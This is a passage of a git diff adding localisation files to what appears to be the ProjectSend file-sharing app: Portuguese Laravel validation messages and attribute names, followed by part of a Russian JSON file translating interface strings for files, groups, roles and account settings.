menos que :other seja :value.', + 'present_with' => 'O campo :attribute deve estar presente quando :values estiver presente.', + 'present_with_all' => 'O campo :attribute deve estar presente quando :values estiverem presentes.', + 'prohibited' => 'O campo :attribute é proibido.', + 'prohibited_if' => 'O campo :attribute é proibido quando :other for :value.', + 'prohibited_if_accepted' => 'O campo :attribute é proibido quando :other é aceito.', + 'prohibited_if_declined' => 'O campo :attribute é proibido quando :other é recusado.', + 'prohibited_unless' => 'O campo :attribute é proibido a menos que :other esteja em :values.', + 'prohibits' => 'O campo :attribute proíbe :other de estar presente.', + 'regex' => 'O formato do valor para o campo :attribute é inválido.', + 'required' => 'É obrigatória a indicação de um valor para o campo :attribute.', + 'required_array_keys' => 'O campo :attribute deve conter entradas para: :values.', + 'required_if' => 'É obrigatória a indicação de um valor para o campo :attribute quando o valor de :other é igual a :value.', + 'required_if_accepted' => 'O campo :attribute é obrigatório quando :other foi aceito.', + 'required_if_declined' => 'O campo :attribute é obrigatório quando :other foi recusado.', + 'required_unless' => 'É obrigatória a indicação de um valor para o campo :attribute a menos que :other esteja presente em :values.', + 'required_with' => 'É obrigatória a indicação de um valor para o campo :attribute quando :values está presente.', + 'required_with_all' => 'É obrigatória a indicação de um valor para o campo :attribute quando um dos :values está presente.', + 'required_without' => 'É obrigatória a indicação de um valor para o campo :attribute quando :values não está presente.', + 'required_without_all' => 'É obrigatória a indicação de um valor para o campo :attribute quando nenhum dos :values está presente.', + 'same' => 'Os campos :attribute e :other devem conter valores iguais.', + 'size' => [ + 'array' => 'O campo :attribute deve conter :size elementos.', + 'file' => 'O arquivo :attribute deve ter :size quilobytes.', + 'numeric' => 'O campo :attribute deve conter o valor :size.', + 'string' => 'O campo :attribute deve conter :size caracteres.', + ], + 'starts_with' => 'O campo :attribute deve começar com um dos seguintes valores: :values.', + 'string' => 'O campo :attribute deve conter texto.', + 'timezone' => 'O campo :attribute deve ter um fuso horário válido.', + 'ulid' => 'O :attribute deve ser um ULID válido.', + 'unique' => 'O valor indicado para o campo :attribute já se encontra registrado.', + 'uploaded' => 'Falha no upload do arquivo :attribute.', + 'uppercase' => 'O campo :attribute deve estar em maiúsculas.', + 'url' => 'O formato de URL indicado para o campo :attribute é inválido.', + 'uuid' => ':Attribute deve ser um UUID válido.', + 'attributes' => [ + 'address' => 'endereço', + 'affiliate_url' => 'URL de afiliado', + 'age' => 'idade', + 'amount' => 'motante', + 'announcement' => 'anúncio', + 'area' => 'área', + 'audience_prize' => 'prêmio do público', + 'audience_winner' => 'vencedor do público', + 'available' => 'disponível', + 'birthday' => 'aniversário', + 'body' => 'conteúdo', + 'city' => 'cidade', + 'color' => 'cor', + 'company' => 'empresa', + 'compilation' => 'compilação', + 'concept' => 'conceito', + 'conditions' => 'condições', + 'content' => 'conteúdo', + 'contest' => 'contestar', + 'country' => 'país', + 'cover' => 'cobrir', + 'created_at' => 'criado em', + 'creator' => 'criador', + 'currency' => 'moeda', + 'current_password' => 'senha atual', + 'customer' => 'cliente', + 'date' => 'data', + 'date_of_birth' => 'data de nascimento', + 'dates' => 'datas', + 'day' => 'dia', + 'deleted_at' => 'excluído em', + 'description' => 'descrição', + 'display_type' => 'Tipo de exibição', + 'district' => 'distrito', + 'duration' => 'duração', + 'email' => 'e-mail', + 'excerpt' => 'resumo', + 'filter' => 'filtro', + 'finished_at' => 'terminou em', + 'first_name' => 'primeiro nome', + 'gender' => 'gênero', + 'grand_prize' => 'grande Prêmio', + 'group' => 'grupo', + 'hour' => 'hora', + 'image' => 'imagem', + 'image_desktop' => 'imagem da área de trabalho', + 'image_main' => 'imagem principal', + 'image_mobile' => 'imagem móvel', + 'images' => 'imagens', + 'is_audience_winner' => 'é vencedor de audiência', + 'is_hidden' => 'está escondido', + 'is_subscribed' => 'está inscrito', + 'is_visible' => 'é visível', + 'is_winner' => 'é vencedor', + 'items' => 'Unid', + 'key' => 'chave', + 'last_name' => 'sobrenome', + 'lesson' => 'lição', + 'line_address_1' => 'endereço de linha 1', + 'line_address_2' => 'endereço de linha 2', + 'login' => 'Conecte-se', + 'message' => 'mensagem', + 'middle_name' => 'nome do meio', + 'minute' => 'minuto', + 'mobile' => 'celular', + 'month' => 'mês', + 'name' => 'nome', + 'national_code' => 'código nacional', + 'number' => 'número', + 'password' => 'senha', + 'password_confirmation' => 'confirmação da senha', + 'phone' => 'telefone', + 'photo' => 'foto', + 'portfolio' => 'portfólio', + 'postal_code' => 'código postal', + 'preview' => 'visualização', + 'price' => 'preço', + 'product_id' => 'ID do produto', + 'product_uid' => 'UID do produto', + 'product_uuid' => 'UUID do produto', + 'promo_code' => 'Código promocional', + 'province' => 'província', + 'quantity' => 'quantidade', + 'reason' => 'razão', + 'recaptcha_response_field' => 'campo de resposta recaptcha', + 'referee' => 'juiz', + 'referees' => 'árbitros', + 'region' => 'região', + 'reject_reason' => 'rejeitar a razão', + 'remember' => 'lembrar-me', + 'restored_at' => 'restaurado em', + 'result_text_under_image' => 'texto do resultado sob a imagem', + 'role' => 'função', + 'rule' => 'regra', + 'rules' => 'regras', + 'second' => 'segundo', + 'sex' => 'sexo', + 'shipment' => 'envio', + 'short_text' => 'texto pequeno', + 'size' => 'tamanho', + 'skills' => 'habilidades', + 'slug' => 'lesma', + 'specialization' => 'especialização', + 'started_at' => 'começou às', + 'state' => 'estado', + 'status' => 'estado', + 'street' => 'rua', + 'student' => 'estudante', + 'subject' => 'assunto', + 'tag' => 'marcação', + 'tags' => 'Tag', + 'teacher' => 'professor', + 'terms' => 'termos', + 'test_description' => 'descrição de teste', + 'test_locale' => 'local de teste', + 'test_name' => 'nome de teste', + 'text' => 'texto', + 'time' => 'hora', + 'title' => 'título', + 'type' => 'tipo', + 'updated_at' => 'atualizado em', + 'user' => 'do utilizador', + 'username' => 'usuário', + 'value' => 'valor', + 'winner' => 'ganhador', + 'work' => 'trabalho', + 'year' => 'ano', + ], +]; diff --git a/lang/ru.json b/lang/ru.json new file mode 100644 index 00000000..c9747fa1 --- /dev/null +++ b/lang/ru.json @@ -0,0 +1,1786 @@ +{ + ":clientName uploaded \":itemName\"": ":clientName загрузил(а) «:itemName»", + ":count accounts have this role": "Учётных записей с этой ролью: :count", + ":count awaiting approval": "Ожидают подтверждения: :count", + ":count downloads": "Скачиваний: :count", + ":count file deleted.|:count files deleted.": "Удалён :count файл.|Удалено файлов: :count.", + ":count file imported.|:count files imported.": "Импортирован :count файл.|Импортировано файлов: :count.", + ":count files": "Файлов: :count", + ":count folders": "Папок: :count", + ":count items have been shared with you": "Вам открыт доступ к элементам: :count", + ":count members": "Участников: :count", + ":count selected": "Выбрано: :count", + ":files files": "Файлов: :files", + ":itemName was shared with you": "Вам предоставлен доступ к «:itemName»", + ":name will not be added to the group \":group\".": ":name не будет добавлен(а) в группу «:group».", + ":total total": "всего :total", + ":used / :limit downloads": "Скачиваний: :used / :limit", + ":used MB of :quota MB used": "Использовано :used МБ из :quota МБ", + ":used MB used, no limit": "Использовано :used МБ, без ограничений", + "(and :count more error)": "(и ещё :count ошибка)", + "(and :count more errors)": "(и ещё :count ошибка)|(и ещё :count ошибки)|(и ещё :count ошибок)", + "(deleted account)": "(удалённая учётная запись)", + "0 means unlimited.": "0 означает без ограничений.", + "A client account request was approved": "Заявка на учётную запись клиента одобрена", + "A client account request was denied": "Заявка на учётную запись клиента отклонена", + "A client left a group": "Клиент покинул группу", + "A client registered an account": "Клиент зарегистрировал учётную запись", + "A client requested to join a group": "Клиент попросил вступить в группу", + "A client uploaded a file": "Клиент загрузил файл", + "A client was added to a group": "Клиент добавлен в группу", + "A client was removed from a group": "Клиент удалён из группы", + "A decryption key is required.": "Ключ дешифровки обязателен.", + "A file assignment was removed": "Назначение файла отменено", + "A file has been shared with you": "Вам предоставлен доступ к файлу", + "A file or folder was shared with you": "Вам предоставлен доступ к файлу или папке", + "A file was assigned": "Файл назначен", + "A file was deleted": "Файл удалён", + "A file was downloaded": "Файл скачан", + "A file was downloaded via a public link": "Файл скачан по публичной ссылке", + "A file was downloaded via the public group listing": "Файл скачан через публичный список групп", + "A file was updated": "Файл обновлён", + "A file was uploaded": "Файл загружен", + "A folder cannot be moved into itself.": "Папку нельзя переместить внутрь самой себя.", + "A folder has been shared with you": "Вам предоставлен доступ к папке", + "A folder was created": "Папка создана", + "A folder was deleted": "Папка удалена", + "A folder was moved": "Папка перемещена", + "A folder was renamed": "Папка переименована", + "A folder was shared": "Открыт доступ к папке", + "A folder was unshared": "Доступ к папке закрыт", + "A group membership request was approved": "Заявка на членство в группе одобрена", + "A group membership request was denied": "Заявка на членство в группе отклонена", + "A group membership was requested": "Подана заявка на членство в группе", + "A group was created": "Группа создана", + "A group was deleted": "Группа удалена", + "A group was updated": "Группа обновлена", + "A new client account was created: :name (:email).": "Создана новая учётная запись клиента: :name (:email).", + "A new client has registered": "Зарегистрировался новый клиент", + "A new ProjectSend version is available": "Доступна новая версия ProjectSend", + "A public group's page is always reachable by its own link once you mark it public — this section only controls the base URL and an optional directory listing every public group and file at once.": "Страница публичной группы всегда доступна по собственной ссылке, как только вы отметите её как публичную, — этот раздел управляет только базовым адресом и необязательным каталогом, который выводит сразу все публичные группы и файлы.", + "A public link was created": "Создана публичная ссылка", + "A public link was revoked": "Публичная ссылка отозвана", + "A role was created": "Роль создана", + "A role was deleted": "Роль удалена", + "A role was updated": "Роль обновлена", + "A Timeout Occurred": "Истекло время ожидания", + "About": "О программе", + "Accept": "Принять", + "Accepted": "Принято", + "Account": "Учётная запись", + "Account deletion grace period (days)": "Отсрочка перед удалением учётной записи (дни)", + "Account is active": "Учётная запись активна", + "Account Manager": "Менеджер по работе с клиентами", + "Account request approved.": "Заявка на учётную запись одобрена.", + "Account request denied.": "Заявка на учётную запись отклонена.", + "Account requests": "Заявки на учётные записи", + "Account settings": "Настройки учётной записи", + "Account type": "Тип учётной записи", + "Accounts": "Учётные записи", + "Accounts covered by this requirement must set up two-factor authentication before they can continue using the application.": "Учётные записи, на которые распространяется это требование, должны настроить двухфакторную аутентификацию, прежде чем продолжить работу с приложением.", + "Action": "Действие", + "Actions": "Действия", + "Activate": "Активировать", + "Activated the account \":subject\"": "Активировал(а) учётную запись «:subject»", + "Activating this account approves its pending request.": "Активация этой учётной записи одобряет связанную с ней заявку.", + "Active": "Активна", + "Activity": "Активность", + "Activity log": "Журнал активности", + "Add": "Добавить", + "Add :name": "Добавить :name", + "Add a category": "Добавить категорию", + "Add a client": "Добавить клиента", + "Add a second step to your login using an authenticator app.": "Добавьте второй шаг ко входу с помощью приложения-аутентификатора.", + "Add new clients to this group": "Добавить новых клиентов в эту группу", + "Added \":member\" to the group \":subject\"": "Добавил(а) «:member» в группу «:subject»", + "Admin": "Панель администратора", + "Admin notification recipients": "Получатели уведомлений для администраторов", + "Admin: client uploaded a file": "Администрирование: клиент загрузил файл", + "Admin: group membership requested": "Администрирование: подана заявка на членство в группе", + "Admin: new client registered": "Администрирование: зарегистрировался новый клиент", + "Administration": "Администрирование", + "After uploading you can assign it to clients and groups": "После загрузки вы сможете назначить его клиентам и группам", + "Agree": "Согласен(на)", + "All": "Все", + "All actions": "Все действия", + "All categories": "Все категории", + "All clients": "Все клиенты", + "All comments": "Все комментарии", + "All failed jobs deleted.": "Все неудавшиеся задачи удалены.", + "All files": "Все файлы", + "All groups": "Все группы", + "All permissions": "Все разрешения", + "All rights reserved.": "Все права защищены.", + "All roles": "Все роли", + "All statuses": "Все статусы", + "All system users": "Все пользователи системы", + "All types": "Все типы", + "Already have an account?": "Уже есть учётная запись?", + "Already Reported": "Уже сообщалось", + "Always": "Всегда", + "Amazon SES": "Amazon SES", + "An account has been created for you. You can log in now.": "Для вас создана учётная запись. Теперь вы можете войти.", + "An account was activated": "Учётная запись активирована", + "An account was created": "Учётная запись создана", + "An account was deactivated": "Учётная запись отключена", + "An account was deleted": "Учётная запись удалена", + "An account was permanently erased": "Учётная запись удалена безвозвратно", + "An account was updated": "Учётная запись обновлена", + "An administrator deleting an account is asked this each time; the automatic erasure of self-deleted accounts runs unattended and follows this choice, so nothing is ever left ownerless.": "Администратора, удаляющего учётную запись, спрашивают об этом каждый раз; автоматическое удаление самостоятельно удалённых учётных записей выполняется без участия человека и следует этому выбору, поэтому ничего не остаётся без владельца.", + "An administrator will review your group requests.": "Администратор рассмотрит ваши заявки на группы.", + "An orphan file was deleted": "Осиротевший файл удалён", + "An orphan file was imported": "Осиротевший файл импортирован", + "An overview of this installation": "Обзор этой установки", + "Any audience": "Любая аудитория", + "Anyone": "Кто угодно", + "Anyone using it will no longer be able to download the file.": "Тот, кто ею пользуется, больше не сможет скачать файл.", + "Appearance": "Оформление", + "Applies to the guest-facing public group/file pages and the \"My files\" client portal.": "Относится к публичным страницам групп и файлов для посетителей и к клиентскому порталу «Мои файлы».", + "Apply filters": "Применить фильтры", + "Approve": "Одобрить", + "Approve account requests": "Одобрение заявок на учётные записи", + "Approve group membership requests": "Одобрение заявок на членство в группах", + "Approved the account request of \":subject\"": "Одобрил(а) заявку на учётную запись от «:subject»", + "Approved the membership of \":member\" to the group \":subject\"": "Одобрил(а) членство «:member» в группе «:subject»", + "Archive": "Архив", + "Are deleted along with the account": "Удаляются вместе с учётной записью", + "Are reassigned to another account": "Передаются другой учётной записи", + "Are you sure you want to delete your account?": "Вы уверены, что хотите удалить свою учётную запись?", + "Assign": "Назначить", + "Assign categories to files": "Назначение категорий файлам", + "Assigned": "Назначено", + "Assigned clients": "Назначенные клиенты", + "Assigned the file \":subject\" to :target": "Назначил(а) файл «:subject» для :target", + "Associate": "Ассоциировать", + "Attach": "Прикрепить", + "Audience": "Аудитория", + "Authentication code": "Код аутентификации", + "Authentication requirements for this installation": "Требования к аутентификации для этой установки", + "Author": "Автор", + "Available groups": "Доступные группы", + "Available placeholders": "Доступные подстановки", + "Back to My files": "Назад к «Моим файлам»", + "Bad Gateway": "Проблема с шлюзом", + "Bad Request": "Некорректный запрос", + "Bandwidth Limit Exceeded": "Превышена нагрузка на канал связи", + "Blue": "Синий", + "Body": "Текст сообщения", + "Browse": "Просмотр", + "Browse publicly shared groups and files below.": "Ниже вы можете просмотреть публично доступные группы и файлы.", + "Built-in": "Встроенная", + "Built-in role names cannot be changed.": "Названия встроенных ролей изменить нельзя.", + "Built-in roles cannot be deleted.": "Встроенные роли удалить нельзя.", + "Call to action": "Призыв к действию", + "Cancel": "Отмена", + "Categories": "Категории", + "Category": "Категория", + "Category created.": "Категория создана.", + "Category deleted.": "Категория удалена.", + "Category updated.": "Категория обновлена.", + "Changed their password": "Сменил(а) пароль", + "Checkbox": "Флажок", + "Checksum (SHA-256)": "Контрольная сумма (SHA-256)", + "Choose": "Выбрать", + "Choose :name": "Выбрать :name", + "Choose an account…": "Выберите учётную запись…", + "Choose File": "Выбрать файл", + "Choose Image": "Выбрать изображение", + "Choose which notifications also send you an email. Everything always appears in the notification bell.": "Выберите, какие уведомления также приходят вам по электронной почте. В колокольчике уведомлений в любом случае отображается всё.", + "Clear": "Очистить", + "Click to copy": "Скопировать", + "Client": "Клиент", + "Client account approved": "Учётная запись клиента одобрена", + "Client account denied": "Учётная запись клиента отклонена", + "Client account edited": "Учётная запись клиента изменена", + "Client Closed Request": "Запрос закрыт клиентом", + "Client created.": "Клиент создан.", + "Client deleted.": "Клиент удалён.", + "Client Manager": "Управляющий клиентами", + "Client settings": "Настройки клиентов", + "Client updated.": "Клиент обновлён.", + "Client welcome (staff-created account)": "Приветствие клиента (учётная запись создана командой)", + "Clients": "Клиенты", + "Clients and groups that can download this file": "Клиенты и группы, которые могут скачать этот файл", + "Clients asking to join groups": "Клиенты, просящие вступить в группы", + "Clients who registered themselves and are waiting for approval": "Клиенты, которые зарегистрировались сами и ждут подтверждения", + "Close": "Закрыть", + "Collapse": "Свернуть", + "Collapse All": "Свернуть всё", + "Color": "Цвет", + "Columns": "Столбцы", + "Comment": "Комментарий", + "Confirm": "Подтвердить", + "Confirm password": "Подтверждение пароля", + "Conflict": "Конфликт", + "Connect": "Подключить", + "Connection Closed Without Response": "Соединение закрыто без ответа", + "Connection Timed Out": "Соединение не отвечает", + "Continue": "Продолжить", + "Copy URL": "Скопировать адрес", + "Copy link": "Скопировать ссылку", + "Counters": "Счётчики", + "Create": "Создать", + "Create :name": "Создать :name", + "Create a client account": "Создать учётную запись клиента", + "Create a public link": "Создать публичную ссылку", + "Create a staff account for this installation": "Создать учётную запись команды для этой установки", + "Create administrator account": "Создать учётную запись администратора", + "Create an account for someone you share files with": "Создайте учётную запись для того, с кем вы делитесь файлами", + "Create categories": "Создание категорий", + "Create category": "Создать категорию", + "Create client": "Создать клиента", + "Create clients": "Создание клиентов", + "Create custom assets": "Создание собственных материалов", + "Create field": "Создать поле", + "Create folder": "Создать папку", + "Create group": "Создать группу", + "Create groups": "Создание групп", + "Create link": "Создать ссылку", + "Create own folders": "Создание собственных папок", + "Create role": "Создать роль", + "Create system users": "Создание пользователей системы", + "Create user": "Создать пользователя", + "Created": "Создано", + "Created a public link for the file \":subject\"": "Создал(а) публичную ссылку на файл «:subject»", + "Created by": "Создал(а)", + "Created the account \":subject\"": "Создал(а) учётную запись «:subject»", + "Created the folder \":subject\"": "Создал(а) папку «:subject»", + "Created the group \":subject\"": "Создал(а) группу «:subject»", + "Created the role \":subject\"": "Создал(а) роль «:subject»", + "Custom": "Своё", + "Custom assets": "Собственные материалы", + "Custom fields": "Дополнительные поля", + "Custom links with an optional expiration date or download limit, no account needed.": "Ссылки на ваш вкус, с необязательным сроком действия или лимитом скачиваний, безо всякой учётной записи.", + "Custom roles let you grant a precise set of permissions": "Собственные роли позволяют выдать ровно тот набор разрешений, который нужен", + "Custom SMTP": "Свой SMTP", + "Customize the wording of any transactional email sent by this installation.": "Измените формулировки любого служебного письма, которое отправляет эта установка.", + "Customized": "Изменено", + "Dark": "Тёмная", + "Dashboard": "Панель", + "Dashboard widgets": "Виджеты панели", + "Data retention and visibility for this installation": "Хранение данных и видимость в этой установке", + "Database": "База данных", + "Date": "Дата", + "Days before a denied membership request can be made again": "Дней до того, как отклонённую заявку на членство можно подать снова", + "Deactivate your account now; it is permanently erased after :days days": "Отключите свою учётную запись сейчас; через :days дн. она будет удалена безвозвратно", + "Deactivated the account \":subject\"": "Отключил(а) учётную запись «:subject»", + "Default": "По умолчанию", + "Defaults to the file name.": "По умолчанию — имя файла.", + "Delete": "Удалить", + "Delete :name": "Удалить :name", + "Delete account": "Удалить учётную запись", + "Delete all": "Удалить все", + "Delete all failed": "Удалить все неудавшиеся", + "Delete all failed jobs?": "Удалить все неудавшиеся задачи?", + "Delete categories": "Удаление категорий", + "Delete category": "Удалить категорию", + "Delete category?": "Удалить категорию?", + "Delete client": "Удалить клиента", + "Delete client?": "Удалить клиента?", + "Delete clients": "Удаление клиентов", + "Delete custom assets": "Удаление собственных материалов", + "Delete field": "Удалить поле", + "Delete field?": "Удалить поле?", + "Delete file": "Удалить файл", + "Delete file?": "Удалить файл?", + "Delete files": "Удаление файлов", + "Delete folder": "Удалить папку", + "Delete folder?": "Удалить папку?", + "Delete group": "Удалить группу", + "Delete group?": "Удалить группу?", + "Delete groups": "Удаление групп", + "Delete others' files": "Удаление чужих файлов", + "Delete own files": "Удаление своих файлов", + "Delete role": "Удалить роль", + "Delete role?": "Удалить роль?", + "Delete selected": "Удалить выбранное", + "Delete selected files?": "Удалить выбранные файлы?", + "Delete system users": "Удаление пользователей системы", + "Delete this file?": "Удалить этот файл?", + "Delete user": "Удалить пользователя", + "Delete user?": "Удалить пользователя?", + "Deleted account": "Удалённая учётная запись", + "Deleted the account \":name\"": "Удалил(а) учётную запись «:name»", + "Deleted the file \":name\"": "Удалил(а) файл «:name»", + "Deleted the folder \":name\" and its contents": "Удалил(а) папку «:name» вместе с содержимым", + "Deleted the group \":name\"": "Удалил(а) группу «:name»", + "Deleted the orphan file \":name\"": "Удалил(а) осиротевший файл «:name»", + "Deleted the role \":name\"": "Удалил(а) роль «:name»", + "Denied the account request of \":name\"": "Отклонил(а) заявку на учётную запись от «:name»", + "Denied the membership of \":member\" to the group \":subject\"": "Отклонил(а) членство «:member» в группе «:subject»", + "Deny": "Отклонить", + "Deny this request?": "Отклонить эту заявку?", + "Description": "Описание", + "Description (optional)": "Описание (необязательно)", + "Detach": "Открепить", + "Details": "Подробности", + "Disable": "Отключить", + "Disable two-factor authentication?": "Отключить двухфакторную аутентификацию?", + "Disabled two-factor authentication": "Отключил(а) двухфакторную аутентификацию", + "Discard": "Отказаться", + "Discourage search engines from indexing this site": "Не рекомендовать поисковым системам индексировать этот сайт", + "Dismiss": "Скрыть", + "Documentation": "Документация", + "Don't have an account?": "Нет учётной записи?", + "Done": "Готово", + "Down": "Вниз", + "Download": "Скачать", + "Download as zip": "Скачать в ZIP", + "Downloaded the file \":subject\"": "Скачал(а) файл «:subject»", + "Downloaded the file \":subject\" via a public link": "Скачал(а) файл «:subject» по публичной ссылке", + "Downloaded the file \":subject\" via the public group listing": "Скачал(а) файл «:subject» через публичный список групп", + "Downloads": "Скачивания", + "Downloads are never recorded with an IP address.": "Скачивания никогда не записываются вместе с IP-адресом.", + "Drag to reorder": "Перетащите, чтобы изменить порядок", + "Drag widgets here": "Перетащите виджеты сюда", + "Dropdown": "Выпадающий список", + "Duplicate": "Дублировать", + "Duplicate :name": "Дублировать :name", + "Edit": "Редактировать", + "Edit :name": "Редактировать :name", + "Edit categories": "Изменение категорий", + "Edit clients": "Изменение клиентов", + "Edit custom assets": "Изменение собственных материалов", + "Edit email templates": "Изменение шаблонов писем", + "Edit groups": "Изменение групп", + "Edit others' files": "Изменение чужих файлов", + "Edit own files": "Изменение своих файлов", + "Edit system settings": "Изменение системных настроек", + "Edit system users": "Изменение пользователей системы", + "Edit this client account": "Изменить эту учётную запись клиента", + "Edit this staff account": "Изменить эту учётную запись команды", + "Edition": "Редакция", + "Email": "Эл. почта", + "Email address": "Адрес эл. почты", + "Email settings": "Настройки почты", + "Email template reset to default.": "Шаблон письма возвращён к исходному тексту.", + "Email template saved.": "Шаблон письма сохранён.", + "Email templates": "Шаблоны писем", + "Empty file": "Пустой файл", + "Enable": "Включить", + "Enable the public directory page": "Включить страницу публичного каталога", + "Enable two-factor authentication": "Включить двухфакторную аутентификацию", + "Enabled two-factor authentication": "Включил(а) двухфакторную аутентификацию", + "Encrypted environment file already exists.": "Зашифрованный файл настроек окружения уже существует.", + "Encrypted environment file not found.": "Зашифрованный файл настроек окружения не найден.", + "Encryption": "Шифрование", + "Enter one of your recovery codes.": "Введите один из ваших кодов восстановления.", + "Enter the six-digit code from your authenticator app.": "Введите шестизначный код из приложения-аутентификатора.", + "Enter your email and password below to log in": "Введите ниже адрес эл. почты и пароль, чтобы войти", + "Environment": "Окружение", + "Environment file already exists.": "Файл настроек окружения уже существует.", + "Environment file not found.": "Файл настроек окружения не найден.", + "errors": "ошибки", + "Every comment on files you can see, newest first": "Все комментарии к файлам, которые вам доступны, начиная с новых", + "Every download records the IP address of whoever downloaded it.": "При каждом скачивании записывается IP-адрес того, кто его выполнил.", + "Everyone": "Все", + "Everything that happened on this installation, newest first": "Всё, что происходило в этой установке, начиная с последнего", + "Expand": "Раскрыть", + "Expand All": "Раскрыть всё", + "Expectation Failed": "Истекло время ожидания", + "Expires": "Истекает", + "Expires :date": "Истекает :date", + "Explanation": "Объяснить", + "Export": "Экспорт", + "Export :name": "Экспортировать :name", + "Export CSV": "Экспорт в CSV", + "External storage": "Внешнее хранилище", + "Extra fields shown on the client create and edit screens.": "Дополнительные поля на экранах создания и изменения клиента.", + "Failed Dependency": "Ошибка зависимости", + "Failed to send: :error": "Не удалось отправить: :error", + "File": "Файл", + "File: :name": "Файл: :name", + "File deleted.": "Файл удалён.", + "File imported.": "Файл импортирован.", + "File name": "Имя файла", + "File shared with a client": "Файл, к которому открыт доступ клиенту", + "File updated.": "Файл обновлён.", + "File uploaded.": "Файл загружен.", + "Files": "Файлы", + "Files can only be assigned to clients or groups.": "Файлы можно назначать только клиентам или группам.", + "Files shared with you": "Файлы, к которым вам открыт доступ", + "Files sitting on disk with no matching record — from an interrupted upload, a restore, or manual filesystem access.": "Файлы, лежащие на диске без соответствующей записи, — от прерванной загрузки, восстановления из резервной копии или ручного вмешательства в файловую систему.", + "Flat labels for files — independent of folders. A file can have several.": "Простые метки для файлов — независимые от папок. У файла их может быть несколько.", + "Folder": "Папка", + "Folder: :name": "Папка: :name", + "Folder created.": "Папка создана.", + "Folder deleted.": "Папка удалена.", + "Folder shared with a client": "Папка, к которой открыт доступ клиенту", + "Folders can only be shared with clients or groups.": "Доступ к папкам можно открывать только клиентам или группам.", + "Folders cannot be nested more than :max levels deep.": "Максимальная глубина вложенности папок: :max.", + "Forbidden": "Доступ запрещен", + "Forgot password?": "Забыли пароль?", + "Found": "Найдено", + "From": "От", + "From address": "Адрес отправителя", + "From name": "Имя отправителя", + "Gateway Timeout": "Шлюз не отвечает", + "General": "Общие", + "General settings": "Общие настройки", + "Go Home": "Домой", + "Go to page :page": "Перейти к :page-й странице", + "Go to the login form": "Перейти к форме входа", + "Gone": "Удалено", + "Gray": "Серый", + "Green": "Зелёный", + "Group": "Группа", + "Group created.": "Группа создана.", + "Group deleted.": "Группа удалена.", + "Group membership approved": "Членство в группе одобрено", + "Group membership denied": "Членство в группе отклонено", + "Group updated.": "Группа обновлена.", + "Groups": "Группы", + "Groups clients can request to join at registration": "Группы, в которые клиенты могут попроситься при регистрации", + "Groups let you assign files to several clients at once": "Группы позволяют назначить файлы сразу нескольким клиентам", + "Hello :name,": "Здравствуйте, :name!", + "Hello, :name": "Здравствуйте, :name", + "Hello!": "Здравствуйте!", + "Here is what has been shared with you": "Вот что вам предоставили", + "Hide": "Скрыть", + "Hide :name": "Скрыть :name", + "Home": "На главную", + "Host": "Хост", + "How client accounts are created on this installation": "Как в этой установке появляются учётные записи клиентов", + "How long a self-deleted account is kept before it is permanently erased.": "Сколько хранится учётная запись, удалённая её владельцем, прежде чем будет стёрта безвозвратно.", + "How many files/folders were shared at once": "Сколько файлов или папок открыто за один раз", + "HTTP Version Not Supported": "Версия HTTP не поддерживается", + "I'm a teapot": "Я - чайник", + "If this account is no longer available when an erasure runs, the files are deleted instead of being left ownerless.": "Если к моменту удаления этой учётной записи уже не будет, файлы будут удалены, а не оставлены без владельца.", + "If you did not create an account, no further action is required.": "Если Вы не создавали учетную запись, никаких дополнительных действий не требуется.", + "If you did not request a password reset, no further action is required.": "Если Вы не запрашивали восстановление пароля, никаких дополнительных действий не требуется.", + "If you received this, your email configuration is working.": "Если вы получили это письмо, значит настройки почты работают.", + "If you're having trouble clicking the \":actionText\" button, copy and paste the URL below\ninto your web browser:": "Если у Вас возникли проблемы с нажатием кнопки \":actionText\", скопируйте и вставьте приведенный ниже URL-адрес в свой браузер:", + "IM Used": "Использовано IM", + "Image": "Изображение", + "Impersonate": "Войти под пользователем", + "Impersonation": "Войти под пользователем", + "Import": "Импорт", + "Import :name": "Импорт :name", + "Import orphan files": "Импортировать осиротевшие файлы", + "Import selected": "Импортировать выбранное", + "Imported the orphan file \":subject\"": "Импортировал(а) осиротевший файл «:subject»", + "Inactive": "Неактивна", + "Include this file when a group it's shared with is public.": "Включать этот файл, когда группа, которой он доступен, публичная.", + "Insert": "Вставить", + "Installed ProjectSend": "Установил(а) ProjectSend", + "Insufficient Storage": "Переполнение хранилища", + "Internal Server Error": "Внутренняя ошибка", + "Introduction": "Введение", + "Invalid filename.": "Некорректное имя файла.", + "Invalid JSON was returned from the route.": "Маршрут вернул некорректный JSON.", + "Invalid SSL Certificate": "Недействительный SSL сертификат", + "Label": "Подпись", + "Last modified": "Последнее изменение", + "Latest files": "Последние файлы", + "Leave": "Покинуть", + "Leave empty for a link that never expires.": "Оставьте пустым, чтобы ссылка никогда не истекала.", + "Leave empty for unlimited downloads.": "Оставьте пустым для неограниченного числа скачиваний.", + "Leave group": "Покинуть группу", + "Leave this group?": "Покинуть эту группу?", + "Left the group \":subject\"": "Покинул(а) группу «:subject»", + "length": "длина", + "Length Required": "Объём содержимого не определён", + "Library": "Библиотека", + "Light": "Светлая", + "Like": "Нравится", + "Limit download counts": "Ограничение числа скачиваний", + "Limit to assigned clients": "Ограничить назначенными клиентами", + "Limits for files uploaded to this installation": "Ограничения для файлов, загружаемых в эту установку", + "Link unavailable": "Ссылка недоступна", + "Load": "Загрузить", + "Loading…": "Загрузка…", + "Local storage": "Локальное хранилище", + "Localize": "Локализовать", + "Location": "Местоположение", + "Locked": "Доступ заблокирован", + "Log in": "Войти", + "Log In": "Войти", + "Log in to your account": "Войдите в свою учётную запись", + "Log out": "Выйти", + "Log Out": "Выйти", + "Logged in": "Вошёл(вошла) в систему", + "Logged out": "Вышел(вышла) из системы", + "Login": "Войти", + "Logout": "Выйти", + "Loop Detected": "Обнаружен бесконечный цикл", + "Mail provider settings saved.": "Настройки почтового провайдера сохранены.", + "Mailgun": "Mailgun", + "Maintenance Mode": "Ведутся технические работы", + "Manage custom fields": "Управление дополнительными полями", + "Manage public links from the edit page.": "Публичными ссылками управляйте на странице изменения.", + "Manage system users and roles": "Управление пользователями системы и ролями", + "Manage updates": "Управление обновлениями", + "Manage your profile and account settings": "Управляйте своим профилем и настройками учётной записи", + "Mark all read": "Отметить всё прочитанным", + "Mark as read": "Отметить прочитанным", + "Mark as unread": "Отметить непрочитанным", + "Max downloads": "Макс. скачиваний", + "Maximum file size (MB)": "Максимальный размер файла (МБ)", + "Member": "Участник", + "Members": "Участники", + "Members of this role only see files and folders belonging to the clients assigned to them, plus their own uploads.": "Обладатели этой роли видят только файлы и папки назначенных им клиентов, а также то, что загрузили сами.", + "Membership request approved.": "Заявка на членство одобрена.", + "Membership request denied.": "Заявка на членство отклонена.", 